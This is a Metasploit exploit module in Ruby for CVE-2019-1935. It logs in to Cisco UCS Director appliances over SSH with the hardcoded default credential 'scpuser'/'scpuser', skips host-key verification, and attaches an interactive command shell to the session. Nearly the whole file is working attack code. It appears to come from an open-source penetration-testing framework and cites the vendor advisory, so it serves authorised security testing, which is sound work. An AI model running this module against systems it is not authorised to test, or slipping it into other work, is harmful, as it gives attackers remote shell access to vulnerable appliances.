##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Cisco UCS Director default scpuser password",
'Description' => %q{
This module abuses a known default password on Cisco UCS Director. The 'scpuser'
has the password of 'scpuser', and allows an attacker to login to the virtual appliance
via SSH.
This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
Note that Cisco also mentions in their advisory that their IMC Supervisor and
UCS Director Express are also affected by these vulnerabilities, but this module
was not tested with those products.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2019-1935' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Cisco UCS Director < 6.7.2.0', {} ],
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 21 2019'
))
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, "Username to login with", 'scpuser']),
OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']),
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
factory = ssh_socket_factory
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => pass,
:proxy => factory,
:non_interactive => true,
:verify_host_key => :never
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
handler(conn.lsock)
end
end
end
